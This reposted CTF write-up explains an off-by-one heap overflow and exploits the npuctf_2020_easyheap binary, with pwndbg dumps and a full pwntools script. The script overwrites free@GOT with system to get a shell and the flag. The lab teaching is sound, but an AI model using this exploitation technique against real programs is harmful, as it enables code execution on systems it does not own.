npuctf_2020_easyheap----off-by-one

news/2025/10/26 0:34:31/文章来源:https://www.cnblogs.com/Source-kai/p/19166183

Off-by-One 漏洞分析与利用

概述

在刷 BUU 题目时遇到了两道 off-by-one 题目，这里记录一下学习过程。off-by-one 漏洞主要分为两种情况：

off-by-one：单字节溢出，且该字节可控
off-by-null：单字节溢出，但只能溢出 \x00

这两次遇到的都是 off-by-one，一般做法是利用溢出的字节修改 chunk 的 size 位，从而造成堆块重叠。
基础 Off-by-One 分析

假设存在以下代码：

#include<stdio.h>
#include<stdlib.h>
#include<string.h>int main(){char *ptr1 = malloc(0x10);char *ptr2 = malloc(0x10);read(0,ptr1,0x10+1);free(ptr1);free(ptr2);ptr1 = 0;ptr2 = 0;return 0;
}

在第 8 行：read(0,ptr1,0x10+1); 可以多读取一个字节，导致单字节溢出。
调试过程

assemblypwndbg> disas main
Dump of assembler code for function main:0x0000000000401176 <+0>:     endbr640x000000000040117a <+4>:     push   rbp0x000000000040117b <+5>:     mov    rbp,rsp0x000000000040117e <+8>:     sub    rsp,0x100x0000000000401182 <+12>:    mov    edi,0x100x0000000000401187 <+17>:    call   0x401080 <malloc@plt>0x000000000040118c <+22>:    mov    QWORD PTR [rbp-0x8],rax0x0000000000401190 <+26>:    mov    edi,0x100x0000000000401195 <+31>:    call   0x401080 <malloc@plt>0x000000000040119a <+36>:    mov    QWORD PTR [rbp-0x10],rax0x000000000040119e <+40>:    mov    rax,QWORD PTR [rbp-0x8]0x00000000004011a2 <+44>:    mov    edx,0x110x00000000004011a7 <+49>:    mov    rsi,rax0x00000000004011aa <+52>:    mov    edi,0x00x00000000004011af <+57>:    mov    eax,0x00x00000000004011b4 <+62>:    call   0x401070 <read@plt>0x00000000004011b9 <+67>:    mov    rax,QWORD PTR [rbp-0x8]0x00000000004011bd <+71>:    mov    rdi,rax0x00000000004011c0 <+74>:    call   0x401060 <free@plt>0x00000000004011c5 <+79>:    mov    rax,QWORD PTR [rbp-0x10]0x00000000004011c9 <+83>:    mov    rdi,rax0x00000000004011cc <+86>:    call   0x401060 <free@plt>0x00000000004011d1 <+91>:    mov    QWORD PTR [rbp-0x8],0x00x00000000004011d9 <+99>:    mov    QWORD PTR [rbp-0x10],0x00x00000000004011e1 <+107>:   mov    eax,0x00x00000000004011e6 <+112>:   leave0x00000000004011e7 <+113>:   ret
End of assembler dump

将断点下在 0x00000000004011b4 查看 chunk：

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x290 (with flag bits: 0x291)Allocated chunk | PREV_INUSE
Addr: 0x405290
Size: 0x20 (with flag bits: 0x21)Allocated chunk | PREV_INUSE
Addr: 0x4052b0
Size: 0x20 (with flag bits: 0x21)Top chunk | PREV_INUSE
Addr: 0x4052d0
Size: 0x20d30 (with flag bits: 0x20d31)====================== vis =================================
0x405290        0x0000000000000000      0x0000000000000021      ........!.......
0x4052a0        0x0000000000000000      0x0000000000000000      ................
0x4052b0        0x0000000000000000      0x0000000000000021      ........!.......
0x4052c0        0x0000000000000000      0x0000000000000000      ................

输入之前的状态，输入之后：

pwndbg> cyclic 16
aaaaaaaabaaaaaaa
pwndbg> ni
aaaaaaaabaaaaaaaq  # 多输入了一个 q============== vis =======================
0x405290        0x0000000000000000      0x0000000000000021      ........!.......
0x4052a0        0x6161616161616161      0x6161616161616162      aaaaaaaabaaaaaaa
0x4052b0        0x0000000000000071      0x0000000000000021      q.......!.......
0x4052c0        0x0000000000000000      0x0000000000000000      ................

发现将 q 输入到了 chunk2 的 prev_size 字段，这是一个有用的溢出，但"杀伤力"有限。
利用 Off-by-One 修改 Size

如果能够将输入覆盖到 chunk 的 size 位，就可以修改 size 进而造成 chunk 重叠。

在堆机制中，当我们申请一个不被 0x10 整除的 chunk（64位），比如 0x18，会把下一个 chunk 的 prev_size 复用，作为当前 chunk 的 data 段来填写数据。

将源代码修改为：
c

char *ptr1 = malloc(0x18);
read(0,ptr1,0x18+1);

再次调试：

pwndbg> b *0x00000000004011b4
Breakpoint 2 at 0x4011b4
pwndbg> c============= heap ===========
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x290 (with flag bits: 0x291)Allocated chunk | PREV_INUSE
Addr: 0x405290
Size: 0x20 (with flag bits: 0x21)Allocated chunk | PREV_INUSE
Addr: 0x4052b0
Size: 0x20 (with flag bits: 0x21)Top chunk | PREV_INUSE
Addr: 0x4052d0
Size: 0x20d30 (with flag bits: 0x20d31)============= vis ============
0x405290        0x0000000000000000      0x0000000000000021      ........!.......
0x4052a0        0x0000000000000000      0x0000000000000000      ................
0x4052b0        0x0000000000000000      0x0000000000000021      ........!.......
0x4052c0        0x0000000000000000      0x0000000000000000      ................

输入：

pwndbg> cyclic 24
aaaaaaaabaaaaaaacaaaaaaa
pwndbg> ni
aaaaaaaabaaaaaaacaaaaaaaq========== vis =================
0x405290        0x0000000000000000      0x0000000000000021      ........!.......
0x4052a0        0x6161616161616161      0x6161616161616162      aaaaaaaabaaaaaaa
0x4052b0        0x6161616161616163      0x0000000000000071      caaaaaaaq.......
0x4052c0        0x0000000000000000      0x0000000000000000      ................

可以看到，这里把 size 修改成了 q 的 ASCII 值，轻松造成了 chunk overlap。

CTF 实例分析：npuctf_2020_easyheap

环境准备

bash❯ pwninit npuctf_2020_easyheap
[INFO] 当前已在虚拟环境中: ctf
[INFO] 给二进制文件添加执行权限...
[SUCCESS] 权限添加成功: npuctf_2020_easyheap[INFO] 检查二进制文件保护:
==================================[*] '/mnt/d/pwn/PROJECT/BUUCTF/npuctf_2020_easyheap_/npuctf_2020_easyheap'Arch:       amd64-64-littleRELRO:      Partial RELROStack:      Canary foundNX:         NX enabledPIE:        No PIE (0x400000)Stripped:   No
==================================仅开启 Canary 和 NX，题目提示是 Ubuntu 18.04，使用 libc 2.27：
bash❯ clibc npuctf_2020_easyheap 2.27
Creating backup: npuctf_2020_easyheap.bak
Available glibc versions:1. 2.27-3ubuntu1.5_amd642. 2.27-3ubuntu1.6_amd643. 2.27-3ubuntu1_amd64Select (1-3): 3Success: Patched npuctf_2020_easyheap with 2.27-3ubuntu1_amd64

程序分析

Create 函数
unsigned __int64 create()
{__int64 v0; // rbxint i; // [rsp+4h] [rbp-2Ch]size_t size; // [rsp+8h] [rbp-28h]char buf[8]; // [rsp+10h] [rbp-20h] BYREFunsigned __int64 v5; // [rsp+18h] [rbp-18h]v5 = __readfsqword(0x28u);for ( i = 0; i <= 9; ++i ){if ( !*((_QWORD *)&heaparray + i) ){*((_QWORD *)&heaparray + i) = malloc(0x10uLL);if ( !*((_QWORD *)&heaparray + i) ){puts("Allocate Error");exit(1);}printf("Size of Heap(0x10 or 0x20 only) : ");read(0, buf, 8uLL);size = atoi(buf);if ( size != 24 && size != 56 )exit(-1);v0 = *((_QWORD *)&heaparray + i);*(_QWORD *)(v0 + 8) = malloc(size);if ( !*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL) ){puts("Allocate Error");exit(2);}**((_QWORD **)&heaparray + i) = size;printf("Content:");read_input(*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL), size);puts("Done!");return __readfsqword(0x28u) ^ v5;}}return __readfsqword(0x28u) ^ v5;
}

创建一个 0x10 大小的 chunk，用于存放 size 和 content_addr 信息。
Edit 函数

unsigned __int64 edit()
{int v1; // [rsp+0h] [rbp-10h]char buf[4]; // [rsp+4h] [rbp-Ch] BYREFunsigned __int64 v3; // [rsp+8h] [rbp-8h]v3 = __readfsqword(0x28u);printf("Index :");read(0, buf, 4uLL);v1 = atoi(buf);if ( (unsigned int)v1 >= 0xA ){puts("Out of bound!");_exit(0);}if ( *((_QWORD *)&heaparray + v1) ){printf("Content: ");read_input(*(_QWORD *)(*((_QWORD *)&heaparray + v1) + 8LL), **((_QWORD **)&heaparray + v1) + 1LL);// 注意：这里把 size 取出来之后还 +1 了，存在 off-by-one 漏洞puts("Done!");}else{puts("How Dare you!");}return __readfsqword(0x28u) ^ v3;
}

Show 函数

unsigned __int64 show()
{int v1; // [rsp+0h] [rbp-10h]char buf[4]; // [rsp+4h] [rbp-Ch] BYREFunsigned __int64 v3; // [rsp+8h] [rbp-8h]v3 = __readfsqword(0x28u);printf("Index :");read(0, buf, 4uLL);v1 = atoi(buf);if ( (unsigned int)v1 >= 0xA ){puts("Out of bound!");_exit(0);}if ( *((_QWORD *)&heaparray + v1) ){printf("Size : %ld\nContent : %s\n",**((_QWORD **)&heaparray + v1),*(const char **)(*((_QWORD *)&heaparray + v1) + 8LL));// 这里会把原来程序创建出来存放数据的 chunk 的 content_addr 的内容打印出来puts("Done!");}else{puts("How Dare you!");}return __readfsqword(0x28u) ^ v3;
}

漏洞利用思路

利用 off-by-one 造成 chunk overlap利用 show 函数泄漏 libc（通过修改 content_addr 为 free@GOT）计算 libc 基地址和 system 地址修改 free@GOT 为 system删除包含 "/bin/sh" 的 chunk 获取 shell

利用过程
步骤 1：创建三个 chunk
python

def exp():add(24, b'source')add(24, b'aaaa')add(24, b'bbbb')

堆布局：
text

[+] ============ HEAP ============[+]
Allocated chunk | PREV_INUSE
Addr: 0x3c533000
Size: 0x250 (with flag bits: 0x251)Allocated chunk | PREV_INUSE
Addr: 0x3c533250
Size: 0x20 (with flag bits: 0x21)Allocated chunk | PREV_INUSE
Addr: 0x3c533270
Size: 0x20 (with flag bits: 0x21)Allocated chunk | PREV_INUSE
Addr: 0x3c533290
Size: 0x20 (with flag bits: 0x21)Allocated chunk | PREV_INUSE
Addr: 0x3c5332b0
Size: 0x20 (with flag bits: 0x21)Allocated chunk | PREV_INUSE
Addr: 0x3c5332d0
Size: 0x20 (with flag bits: 0x21)Allocated chunk | PREV_INUSE
Addr: 0x3c5332f0
Size: 0x20 (with flag bits: 0x21)Top chunk | PREV_INUSE
Addr: 0x3c533310
Size: 0x20cf0 (with flag bits: 0x20cf1)[+] ============= VIS ==============[+]
0x3c533250	0x0000000000000000	0x0000000000000021	........!.......
0x3c533260	0x0000000000000018	0x000000003c533280	.........2S<....
0x3c533270	0x0000000000000000	0x0000000000000021	........!.......
0x3c533280	0x000a656372756f73	0x0000000000000000	source..........
0x3c533290	0x0000000000000000	0x0000000000000021	........!.......
0x3c5332a0	0x0000000000000018	0x000000003c5332c0	.........2S<....
0x3c5332b0	0x0000000000000000	0x0000000000000021	........!.......
0x3c5332c0	0x0000000a61616161	0x0000000000000000	aaaa............
0x3c5332d0	0x0000000000000000	0x0000000000000021	........!.......
0x3c5332e0	0x0000000000000018	0x000000003c533300	.........3S<....
0x3c5332f0	0x0000000000000000	0x0000000000000021	........!.......
0x3c533300	0x0000000a62626262	0x0000000000000000	bbbb............
0x3c533310	0x0000000000000000	0x0000000000020cf1	................ <-- Top chunk

步骤 2：修改 chunk0 造成溢出

pythonedit(0, b'/bin/sh\x00' + p64(0)*2 + p8(0x41))修改后的堆布局：
text[+] =================== VIS ============= [+]
0x26bae250	0x0000000000000000	0x0000000000000021	........!.......
0x26bae260	0x0000000000000018	0x0000000026bae280	...........&....
0x26bae270	0x0000000000000000	0x0000000000000021	........!.......
0x26bae280	0x0068732f6e69622f	0x0000000000000000	/bin/sh.........
0x26bae290	0x0000000000000000	0x0000000000000041	........A.......
0x26bae2a0	0x0000000000000018	0x0000000026bae2c0	...........&....
0x26bae2b0	0x0000000000000000	0x0000000000000021	........!.......
0x26bae2c0	0x0000000a61616161	0x0000000000000000	aaaa............
0x26bae2d0	0x0000000000000000	0x0000000000000021	........!.......
0x26bae2e0	0x0000000000000018	0x0000000026bae300	...........&....
0x26bae2f0	0x0000000000000000	0x0000000000000021	........!.......
0x26bae300	0x0000000a62626262	0x0000000000000000	bbbb............
0x26bae310	0x0000000000000000	0x0000000000020cf1	................ <-- Top chunk

现在 head_chunk1 的 size 变成了 0x41，包含了 chunk1 的整个区域。
步骤 3：删除并重新申请 chunk1
python

delete(1)
add(56, p64(0)*3 + p64(0x21) + p64(0x38) + p64(free_got))

修改后的堆布局：

text[+] ============= VIS ============ [+]
0x26748250	0x0000000000000000	0x0000000000000021	........!.......
0x26748260	0x0000000000000018	0x0000000026748280	..........t&....
0x26748270	0x0000000000000000	0x0000000000000021	........!.......
0x26748280	0x0068732f6e69622f	0x0000000000000000	/bin/sh.........
0x26748290	0x0000000000000000	0x0000000000000041	........A.......
0x267482a0	0x0000000000000000	0x0000000000000000	................
0x267482b0	0x0000000000000000	0x0000000000000021	........!.......
0x267482c0	0x0000000000000038	0x0000000000602018	8........ `.....
0x267482d0	0x000000000000000a	0x0000000000000021	........!.......
0x267482e0	0x0000000000000018	0x0000000026748300	..........t&....
0x267482f0	0x0000000000000000	0x0000000000000021	........!.......
0x26748300	0x0000000a62626262	0x0000000000000000	bbbb............
0x26748310	0x0000000000000000	0x0000000000020cf1	................ <-- Top chunk成功将 content_addr 修改为 free@GOT。

步骤 4：泄漏 libc 并计算地址

pythonshow(1)
libc_base = uu64(ru(b'\x7f')[-6:]) - libc.sym.free
system = libc_base + libc.sym.system

步骤 5：修改 free@GOT 并触发

pythonedit(1, p64(system))
delete(0)  # 此时 free("/bin/sh") 变为 system("/bin/sh")

完整 EXP

python#!/usr/bin/env python3
from pwn import *context(os='linux', arch='amd64', log_level='debug')
binary = "npuctf_2020_easyheap"if args.get("REMOTE"):io = remote("127.0.0.1", 8080)
else:io = process(binary)elf = ELF(binary)
libc = ELF("/home/source/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")def add(size, content):sla('Your choice :', '1')sla('Size of Heap(0x10 or 0x20 only) : ', str(size))sla('Content:', content)def delete(idx):sla('Your choice :', '4')sla('Index :', str(idx))def show(idx):sla('Your choice :', '3')sla('Index :', str(idx))def edit(idx, content):sla('Your choice :', '2')sla('Index :', str(idx))sla("Content: ", content)def exp():free_got = elf.got.freeadd(24, b'source')add(24, b'aaaa')add(24, b'bbbb')edit(0, b'/bin/sh\x00' + p64(0)*2 + p8(0x41))delete(1)add(56, p64(0)*3 + p64(0x21) + p64(0x38) + p64(free_got))show(1)libc_base = uu64(ru(b'\x7f')[-6:]) - libc.sym.freesystem = libc_base + libc.sym.systemedit(1, p64(system))delete(0)exp()
itr()

并且最终成功拿到flag

bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
[DEBUG] Received 0x2b bytes:b'flag{3aed5904-6a30-4f3e-860d-cc94749bdae9}\n'
flag{3aed5904-6a30-4f3e-860d-cc94749bdae9}
$

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/946526.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

[网络] [TOOL] 为什么要使用ss工具替代netstat？

[网络] [TOOL] 为什么要使用ss工具替代netstat？

[网络] [TOOL] 为什么要使用ss工具替代netstat？$(".postTitle2").removeClass("postTitle2").addClass("singleposttitle");ChatGPT生成（2025年10月26日00:19:50）🧠 为什么要使用 …
阅读更多...
HarfBuzz概览

HarfBuzz概览

HarfBuzz概览**1）什么是HarfBuzz****2）HarfBuzz名称来源****3）为什么需要HarfBuzz****4）HarfBuzz能做什么****5）HarfBuzz不能做什么****6）哪些平台在使用HarfBuzz**本文概述 本文主要介绍： 1）什么是HarfBuzz 2…
阅读更多...
251025B. 海啸

251025B. 海啸

251025B. 海啸 有 \(n\) 个物品，物品 \(i\) 有 \(v_i\) 的价值和 \(2^{w_i}\) 的体积。 以及 \(q\) 次修改，每次给出 \(x\) 并令 \(a_x \leftarrow a_x +1\)。 每次修改后求出当总体积 \(\le V\) 时的最大总价值。 \…
阅读更多...
[网络] [TCP] Linux TCP Socket 学习指南

[网络] [TCP] Linux TCP Socket 学习指南

[网络] [TCP] Linux TCP Socket 学习指南$(".postTitle2").removeClass("postTitle2").addClass("singleposttitle");ChatGPT生成（2025年10月26日00:08:46）🧠 Linux TCP Socket 学习…
阅读更多...
[网络] [TCP] Linux UDP Socket 学习指南

[网络] [TCP] Linux UDP Socket 学习指南

[网络] [TCP] Linux UDP Socket 学习指南$(".postTitle2").removeClass("postTitle2").addClass("singleposttitle");📘 Linux UDP Socket 学习指南适合初学者理解 UDP 原理与在 Linu…
阅读更多...
用户上下文透传机制详解

用户上下文透传机制详解

RuoYi-Cloud 用户上下文透传机制详解 引言 在微服务架构中，用户上下文的传递是一个关键问题。当一个请求在多个微服务之间调用时，如何确保用户身份信息能够正确传递到每个服务中，是实现安全认证和权限控制的基础。R…
阅读更多...
品牌故事不会写？这个AI指令可能帮你解决大问题

品牌故事不会写？这个AI指令可能帮你解决大问题

本文分享了一个专业的品牌故事生成AI指令，帮助创业者和品牌负责人解决品牌叙事难题。文章提供了基础版和进阶版两个完整指令模板，通过结构化的方式指导AI生成具有情感共鸣和传播价值的品牌故事。内容包含实际使用案例…
阅读更多...
电梯调度编程结对项目总结

电梯调度编程结对项目总结

电梯调度编程结对项目总结 项目地址：https://gitee.com/surrealgit/elevator_surreal.git 一、项目背景 本次课程大作业要求我们以结对编程的形式，完成一个电梯调度算法系统，包括调度算法设计、可视化界面实现、模块…
阅读更多...
GuessGame两个版本的区别

GuessGame两个版本的区别

GuessGame 两个版本的区别分析目录GuessGame 两个版本的区别分析一、控制台输出二、图形界面2.1 抽象类的好处三、两者对比四、总结 一、控制台输出 控制台版本的ConsoleGame是最基础、最传统的程序交互方式，它通过标…
阅读更多...
第二次作业--田佳吉

第二次作业--田佳吉

https://gitee.com/tian-jiaji/qunqing.git
阅读更多...
电脑频繁卡顿？4个CMD命令揪出后台隐藏进程

电脑频繁卡顿？4个CMD命令揪出后台隐藏进程

电脑频繁卡顿？4个CMD命令揪出后台隐藏进程电脑频繁卡顿？4个CMD命令揪出后台隐藏进程 你以为电脑卡顿只是垃圾太多？警惕！70%的后台异常进程都藏着“数字内鬼”——可能是黑客植入的隐蔽程序，正偷偷上传你的代码、文…
阅读更多...
Graphiti：为智能体构建实时知识图谱，引领更聪明的 AI 时代

Graphiti：为智能体构建实时知识图谱，引领更聪明的 AI 时代

我一直觉得很神奇：大多数 AI 系统只要你一停止和它们对话，就会把一切都忘光。你喂给它们 facts、context、chat logs——会话一结束，噗的一下，全没了。这一直是“intelligent” agents 的最大瓶颈。 后来我发现了 …
阅读更多...
2025_软件工程师课程辅导

2025_软件工程师课程辅导

第一周 课程内容 核心教学内容 App Inventor入门实践 使用工具App Inventor网站：http://ai2.17coding.net/AI伴侣手机应用应用相关素材从百度网盘下载上述工具软件和应用素材，如下图所示：课程案例Hello，小蜜蜂！画…
阅读更多...
初学Claude Skills/Agents/Plugins功能

初学Claude Skills/Agents/Plugins功能

初学Claude Skills/Agents/Plugins功能目录SkillsSkills 的关键特点Skills的结构建立不同的 Skills个人 Skills项目 Skills插件 Skills编写 SKILL创建SKILL.md 文件Skills 如何工作学习网址AgentsPlugins Anthropic 刚…
阅读更多...
《《《es相关

《《《es相关

es 修改思路 一：新建索引 1.新建立索引 addIndex 为ik_smart 二: es 查询 1.es分页是从0开始.分页开始页-1，和结束页-1 2.addIndex 为 ik_smart（分词没有那么细，一般情况可以用这个）每天多努力一点，你将会变得更…
阅读更多...
人资新手必看，企业绩效的意义

人资新手必看，企业绩效的意义

绩效考核管理是牵引整个企业行动方向的关键 其意义在于: 一、是有利于人事决策，通过绩效考核识别核心人才，对其加以培训、委以重任，同时能够根据员工特长决定人员调配和升降。 二、是确定合理的薪酬水平。根据员工的…
阅读更多...
初学Claude Skills Agents功能

初学Claude Skills Agents功能

初学Claude Skills Agents功能目录SkillsSkills 的关键特点Skills的结构建立不同的 Skills个人 Skills项目 Skills插件 Skills编写 SKILL创建SKILL.md 文件Skills 如何工作学习网址Agents Anthropic 刚刚为 Claude 推出…
阅读更多...
题解：P14309 【MX-S8-T2】配对

题解：P14309 【MX-S8-T2】配对

前言：考场上看出来了某关键性质结果发现做不下去了，然后就寄了。最后因为代码全部加了文件操作荣获总分 0 分的优异成绩。这种题需要我们多加猜测性质并辅以证明。 性质 #1 我们先不考虑任何修改操作。 一个子树内的…
阅读更多...
HuggingFace 库使用小技巧

HuggingFace 库使用小技巧

有时在处理数据的时候，我们在数据处理函数内部添加调试语句但是却没有输出，这可能是因为：数据被缓存了，令overwrite_cache: true即可，这样就会重新调用数据处理函数处理数据（一般在调试的时候使用）
阅读更多...
【ArcMap】复制选中的线并将其上移一段距离

【ArcMap】复制选中的线并将其上移一段距离

首先选中需要复制的线 在python2窗口中输入以下代码：此处为上移10米对于地理坐标系，使用0.00009度（约10米）对于投影坐标系，使用10米# -*- coding: utf-8 -*- import arcpy import os import sys# 重新加载sys并设…
阅读更多...
最新文章

Copyright @ 2022~2023